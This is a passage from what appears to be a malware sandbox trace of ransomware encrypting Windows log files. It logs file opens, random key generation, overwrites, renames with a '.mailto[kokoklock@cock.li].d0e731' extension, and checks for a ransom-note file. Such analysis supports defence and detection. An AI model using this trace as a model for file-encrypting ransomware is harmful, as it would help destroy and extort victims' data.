lpNumberOfBytesWritten=0x1f53fa2c, lpOverlapped=0x0 | out: lpBuffer=0x34928e8*, lpNumberOfBytesWritten=0x1f53fa2c*=0x8, lpOverlapped=0x0) returned 1 [0077.323] WriteFile (in: hFile=0x8fc, lpBuffer=0x1f53fa44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f53fa2c, lpOverlapped=0x0 | out: lpBuffer=0x1f53fa44*, lpNumberOfBytesWritten=0x1f53fa2c*=0x4, lpOverlapped=0x0) returned 1 [0077.323] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f53fa2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1f53fa2c*=0x4, lpOverlapped=0x0) returned 1 [0077.323] WriteFile (in: hFile=0x8fc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1f53fa2c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1f53fa2c*=0x6c, lpOverlapped=0x0) returned 1 [0077.323] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492ca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f53fa2c, lpOverlapped=0x0 | out: lpBuffer=0x3492ca8*, lpNumberOfBytesWritten=0x1f53fa2c*=0x20, lpOverlapped=0x0) returned 1 [0077.323] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f53fa2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1f53fa2c*=0x4, lpOverlapped=0x0) returned 1 [0077.323] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0077.323] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492b90) returned 1 [0077.323] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34928e8) returned 1 [0077.323] CloseHandle (hObject=0x8fc) returned 1 [0077.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x34320a0 [0077.323] wcscpy (in: _Dest=0x34320a0, _Source="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl" [0077.323] wcscat (in: _Dest=0x34320a0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl.mailto[kokoklock@cock.li].d0e731" [0077.323] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.004.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.004.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0077.324] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0077.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34320a0) returned 1 [0077.324] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.004.etl", dwFileAttributes=0x2020) returned 0 [0077.324] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479a60 [0077.324] wcscpy (in: _Dest=0x3479a60, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.324] wcscat (in: _Dest=0x3479a60, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0077.324] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0077.325] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.325] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ebd8) returned 1 [0077.325] RtlExitUserThread (Status=0x1) Thread: id = 848 os_tid = 0x1444 [0077.328] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.005.etl")) returned 0x2020 [0077.334] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl", dwFileAttributes=0x20) returned 1 [0077.335] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.005.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8fc [0077.335] GetFileSizeEx (in: hFile=0x8fc, lpFileSize=0x1f5bfa10 | out: lpFileSize=0x1f5bfa10*=8192) returned 1 [0077.335] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.335] ReadFile (in: hFile=0x8fc, lpBuffer=0x1f5bf9e4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f5bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x1f5bf9e4*, lpNumberOfBytesRead=0x1f5bf9e0*=0x4, lpOverlapped=0x0) returned 1 [0077.336] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.336] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0077.336] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0077.336] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492b90 [0077.337] NtQuerySystemTime (in: CurrentTime=0x1f5bf9bc | out: CurrentTime=0x1f5bf9bc*=132121176352221171) returned 0x0 [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0x2fe9a74a [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0x1cad86d4 [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0xfb6f83a1 [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0x931304f0 [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0x26ee3aa [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0x257b4183 [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0xcca66d7d [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0xe115be2b [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0xc204adf [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0xedba2411 [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0x69af8d4c [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0xb72ec884 [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0xa099c666 [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0xbe835e8a [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0x7876ea0a [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0x966d16d4 [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0x2456e97e [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0x28710b06 [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0x96d23522 [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0xa20c5ac4 [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0x3878b2dc [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0xed9e4da7 [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0x1b4b2522 [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0x1cb6e1e4 [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0xef857db5 [0077.337] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0xeec3b899 [0077.338] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0x70778888 [0077.338] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0xc9f4832 [0077.338] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0x72718b6c [0077.338] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0x1608359f [0077.338] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0x934d5135 [0077.338] RtlRandom (in: Seed=0x1f5bf9c8 | out: Seed=0x1f5bf9c8) returned 0x525aeb17 [0077.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0077.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0077.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd8f8 [0077.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0077.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492be0 [0077.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492be0) returned 1 [0077.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a220 [0077.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0077.348] ReadFile (in: hFile=0x8fc, lpBuffer=0x348a220, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x1f5bf9bc, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1f5bf9bc*=0x2000, lpOverlapped=0x0) returned 1 [0077.349] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f5bf984 | out: lpNewFilePointer=0x0) returned 1 [0077.349] WriteFile (in: hFile=0x8fc, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x1f5bf9b8, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1f5bf9b8*=0x2000, lpOverlapped=0x0) returned 1 [0077.350] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492be0 [0077.350] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c30 [0077.350] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c30) returned 1 [0077.350] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492be0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f5bf9b4, lpOverlapped=0x0 | out: lpBuffer=0x3492be0*, lpNumberOfBytesWritten=0x1f5bf9b4*=0x20, lpOverlapped=0x0) returned 1 [0077.350] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492be0) returned 1 [0077.350] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0077.350] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0077.350] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.350] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd8f8) returned 1 [0077.350] WriteFile (in: hFile=0x8fc, lpBuffer=0x34928e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f5bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x34928e8*, lpNumberOfBytesWritten=0x1f5bf9e0*=0x8, lpOverlapped=0x0) returned 1 [0077.350] WriteFile (in: hFile=0x8fc, lpBuffer=0x1f5bf9f8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f5bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x1f5bf9f8*, lpNumberOfBytesWritten=0x1f5bf9e0*=0x4, lpOverlapped=0x0) returned 1 [0077.350] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f5bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1f5bf9e0*=0x4, lpOverlapped=0x0) returned 1 [0077.350] WriteFile (in: hFile=0x8fc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1f5bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1f5bf9e0*=0x6c, lpOverlapped=0x0) returned 1 [0077.350] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492ca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f5bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x3492ca8*, lpNumberOfBytesWritten=0x1f5bf9e0*=0x20, lpOverlapped=0x0) returned 1 [0077.350] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f5bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1f5bf9e0*=0x4, lpOverlapped=0x0) returned 1 [0077.351] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0077.351] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492bb8) returned 1 [0077.351] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34928e8) returned 1 [0077.351] CloseHandle (hObject=0x8fc) returned 1 [0077.351] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x34320a0 [0077.351] wcscpy (in: _Dest=0x34320a0, _Source="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl" [0077.351] wcscat (in: _Dest=0x34320a0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl.mailto[kokoklock@cock.li].d0e731" [0077.351] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.005.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.005.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0077.352] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0077.352] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34320a0) returned 1 [0077.352] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.005.etl", dwFileAttributes=0x2020) returned 0 [0077.352] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479a60 [0077.352] wcscpy (in: _Dest=0x3479a60, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.352] wcscat (in: _Dest=0x3479a60, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0077.352] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0077.352] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.352] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347edf8) returned 1 [0077.352] RtlExitUserThread (Status=0x1) Thread: id = 849 os_tid = 0x1448 [0077.353] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.006.etl")) returned 0x2020 [0077.354] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl", dwFileAttributes=0x20) returned 1 [0077.354] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.006.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.006.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8fc [0077.354] GetFileSizeEx (in: hFile=0x8fc, lpFileSize=0x1f63fd3c | out: lpFileSize=0x1f63fd3c*=8192) returned 1 [0077.354] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.354] ReadFile (in: hFile=0x8fc, lpBuffer=0x1f63fd10, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f63fd0c, lpOverlapped=0x0 | out: lpBuffer=0x1f63fd10*, lpNumberOfBytesRead=0x1f63fd0c*=0x4, lpOverlapped=0x0) returned 1 [0077.356] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.356] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0077.356] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0077.356] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492bb8 [0077.356] NtQuerySystemTime (in: CurrentTime=0x1f63fce8 | out: CurrentTime=0x1f63fce8*=132121176352534088) returned 0x0 [0077.356] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0xa203ad62 [0077.356] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0x47d00e6c [0077.356] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0x4a9026af [0077.356] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0xf66076f [0077.356] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0xc7533f51 [0077.356] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0x365c3b9c [0077.356] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0x81933e72 [0077.356] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0x6ecd8601 [0077.356] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0x9a4d0ffa [0077.356] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0xdea11279 [0077.356] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0xf46a222 [0077.356] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0x6853f292 [0077.356] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0x2a33bf26 [0077.356] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0x93d51ef6 [0077.356] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0x1b9e28f4 [0077.356] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0x2c890bce [0077.356] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0xc7b5a143 [0077.356] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0x3b3eb28a [0077.356] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0xcad8895f [0077.356] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0x2ecde9e5 [0077.357] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0x35c83676 [0077.357] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0xc799d385 [0077.357] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0x63c3a50f [0077.357] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0xaba7851e [0077.357] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0x615700b7 [0077.357] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0x9d57556e [0077.357] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0x5b01715e [0077.357] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0x9e0e8f6f [0077.357] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0x9fc75e66 [0077.357] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0x19f30ba5 [0077.357] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0x2d87f482 [0077.357] RtlRandom (in: Seed=0x1f63fcf4 | out: Seed=0x1f63fcf4) returned 0x30298ca0 [0077.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0077.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0077.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd8f8 [0077.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0077.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c08 [0077.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c08) returned 1 [0077.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a220 [0077.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0077.368] ReadFile (in: hFile=0x8fc, lpBuffer=0x348a220, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x1f63fce8, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1f63fce8*=0x2000, lpOverlapped=0x0) returned 1 [0077.369] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f63fcb0 | out: lpNewFilePointer=0x0) returned 1 [0077.369] WriteFile (in: hFile=0x8fc, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x1f63fce4, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1f63fce4*=0x2000, lpOverlapped=0x0) returned 1 [0077.369] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c08 [0077.369] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c30 [0077.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c30) returned 1 [0077.369] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492c08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f63fce0, lpOverlapped=0x0 | out: lpBuffer=0x3492c08*, lpNumberOfBytesWritten=0x1f63fce0*=0x20, lpOverlapped=0x0) returned 1 [0077.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c08) returned 1 [0077.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0077.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0077.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd8f8) returned 1 [0077.370] WriteFile (in: hFile=0x8fc, lpBuffer=0x34928e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f63fd0c, lpOverlapped=0x0 | out: lpBuffer=0x34928e8*, lpNumberOfBytesWritten=0x1f63fd0c*=0x8, lpOverlapped=0x0) returned 1 [0077.370] WriteFile (in: hFile=0x8fc, lpBuffer=0x1f63fd24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f63fd0c, lpOverlapped=0x0 | out: lpBuffer=0x1f63fd24*, lpNumberOfBytesWritten=0x1f63fd0c*=0x4, lpOverlapped=0x0) returned 1 [0077.370] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f63fd0c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1f63fd0c*=0x4, lpOverlapped=0x0) returned 1 [0077.370] WriteFile (in: hFile=0x8fc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1f63fd0c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1f63fd0c*=0x6c, lpOverlapped=0x0) returned 1 [0077.370] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492ca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f63fd0c, lpOverlapped=0x0 | out: lpBuffer=0x3492ca8*, lpNumberOfBytesWritten=0x1f63fd0c*=0x20, lpOverlapped=0x0) returned 1 [0077.370] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f63fd0c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1f63fd0c*=0x4, lpOverlapped=0x0) returned 1 [0077.370] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0077.370] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492be0) returned 1 [0077.370] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34928e8) returned 1 [0077.370] 